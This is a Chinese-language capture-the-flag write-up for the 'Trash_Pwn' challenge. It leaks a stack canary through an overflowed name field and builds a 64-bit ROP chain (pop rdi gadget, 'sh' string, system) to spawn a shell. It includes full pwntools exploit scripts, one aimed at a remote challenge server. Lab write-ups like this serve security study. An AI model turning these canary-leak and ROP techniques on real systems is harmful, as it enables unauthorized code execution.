D0g3_Trash_Pwn_Writeup
Trash Pwn
1 首先使用checksec查看有什么保护

可以发现,有canary保护(Stack),堆栈不可执行(NX),地址随机化没有开启(PIE)
2 使用IDA打开看看

main函数里没有什么漏洞,注意调试时把alarm函数nop掉(计时函数)
进入Who函数

读取的s是main函数中的一个储存字符窜的数组,然后再打印字符串后面的一些东西(这里可以溢出canary)
只要控制字符的个数,就可以溢出canary,补充一个知识: canary一般的最低位的字节为0,所以溢出时64位有7个可用字节,32位的为3个可用字节.
真正的canary就需要加上\x00,才能是真正的canary.
这里就可以写获取canary的exp:
f
rom pwn import *
elf = ELF("./Trash_Pwn")
#context.log_level = 'debug'
sh = elf.process()
#sh = remote("106.54.93.158",1234)
Num = 8 * 9 + 0 #通过计算的偏移,72个字符+ \n (回车\x0a)
sh.recvuntil("Hi you guys! What's your name?")
payload_1 = 'D' * Num
sh.sendline(payload_1)
print sh.recvline(keepends = True)
print sh.recvuntil("D\n")
canary = u64('\x00' + sh.recvline()[0:7]) #在打印时即可获取7个有用字符,在加上一个\x00在最低位就得到canary
print 'canary:'
print hex(canary)
好了,我们就可以通过输入名字时获取canary,查看第二个函数

buf 可以输入的长度为0x100,第二次输入就可以用基本的栈溢出了
现在我们就可修改堆栈里存储的ret值,实现控制EIP.
我们看一下字符窜表

进入调用函数:

这里就要考验观察能力了,平时做的时候都是/bin/sh,现在来个打印sh,这里我们只需修改传参的时候修改位sh就行,记录一下cmd的地址
可是传餐不像32位机器使用push传参,使用的是rdi寄存器传参,若程序中存在pop rdi + ret指令就再好不过了.
使用python 中的pwntools库查看一下pop rid 和 ret的硬编码'

硬编码位 5f c3 再使用hexeditor搜索5f c3:



发现存在,使用edb或gdb在动态调试中搜索当前的地址: 地址为:0x40147E
也可以使用指令:ROPgadget --binary Trash_Pwn --only "pop | ret" 搜索获取地址
利用思路:先是跳转到pop rdi指令的地方修改rdi的值(改为指向echo sh中的sh地址), 然后ret到system函数即可
以下是exp:
from pwn import *
elf = ELF("./Trash_Pwn")
#context.log_level = 'debug'
sh = elf.process()
sh = remote("106.54.93.158",1234) Num = 8 * 9 + 0
sh.recvuntil("Hi you guys! What's your name?") payload_1 = 'D' * Num
sh.sendline(payload_1)
print sh.recvline(keepends = True)
print sh.recvuntil("D\n")
canary = u64('\x00' + sh.recvline()[0:7]) print 'canary:'
print hex(canary) sh.recvuntil("Help me to clean this trash!\n")
sys_addr = 0x40130B
pop_rdi_addr = 0x40147E
str_sh_addr = 0x404085 payload_2 = 'D' * ( 64 + Num) + p64(canary) + p64(0xdeedbeef) + p64(pop_rdi_addr) + p64(str_sh_addr) + p64(sys_addr)
#gdb.attach(sh)
sh.sendline(payload_2) sh.interactive()

拿到flag
总结:
canary的最低位字节位0,控制字符个数,溢出canary
使用pop rdi修改rdi的值,从而修改64位system的传参
2019-12-14
20:04:16
D0g3_Trash_Pwn_Writeup的更多相关文章
随机推荐
- React-Native 之 GD (十七)小时风云榜按钮处理
小时风云榜按钮处理 在服务器返回给我们的 json 数据中,提供了 hasnexthour 字段,当这个字段返回为 1 的时候,表示后面还有内容,按钮可以点击,否则不能点击,按照这个思路,我们就来完成 ...
- Uncaught TypeError: Cannot read property 'length' of null错误怎么处理?
Uncaught TypeError: Cannot read property 'length' of null 错误怎么处理? 1.可能是返回的datagrid数据格式有问题,比如{"t ...
- 源码编译apache设置系统启动失败
文章为转载,亲试成功. Apache无法自动启动,1.将apachectl文件拷贝到/etc/rc.d/init.d 中,然后在/etc/rc.d/rc5.d/下加入链接即可.命令如下:cp /usr ...
- EF6中一个关于时间类型 datetime2 的坑
在一个访问下位机的程序中,返回的时间戳有时候因断线产生0001年01月01日的时间,而原先使用拼接SQL进行数据存储的操作时,这个问题是可以跳过的. 这次把拼接SQL的部分重新改为EF进行管理,这个坑 ...
- SpringBoot系列:三、SpringBoot中使用Filter
在springboot中要使用Filter首先要实现Filter接口,添加@WebFilter注解 然后重写三个方法,下图示例是在Filter中过滤上一届中拿配置的接口,如果是这个接口会自动跳转到/P ...
- 剑指offer--day01
1.1题目:二维数组中的查找:在一个二维数组中(每个一维数组的长度相同),每一行都按照从左到右递增的顺序排序,每一列都按照从上到下递增的顺序排序.请完成一个函数,输入这样的一个二维数组和一个整数,判断 ...
- 20190909 SpringBoot集成Swagger
SpringBoot集成Swagger 1. 引入依赖 // SpringBoot compile('org.springframework.boot:spring-boot-starter-web' ...
- C#里sqlDataAdapter.fill(DataSet,String)的用法
第二个参数 String是指定DataSet 里表的名字,例如 sqlDataAdapter.fill(DataSet,"学生表") 指定后,以后就可以这样调用这张表 DataSe ...
- [Python3] 019 函数:确认过参数,返回对的值
目录 0. 函数简介 1. 初识函数 2. 函数的参数与返回值 少废话,上例子 3. 查找函数的帮助文档 4. 函数的参数 (1) 参数分类 (2) 结构介绍 1) 普通参数 2) 默认参数 3) 关 ...
- iBatis框架之配置文件之注意点之总结
1.配置文件sqlMap.xml中需要注意的点 比如: <?xml version="1.0" encoding="UTF-8" ?> <!D ...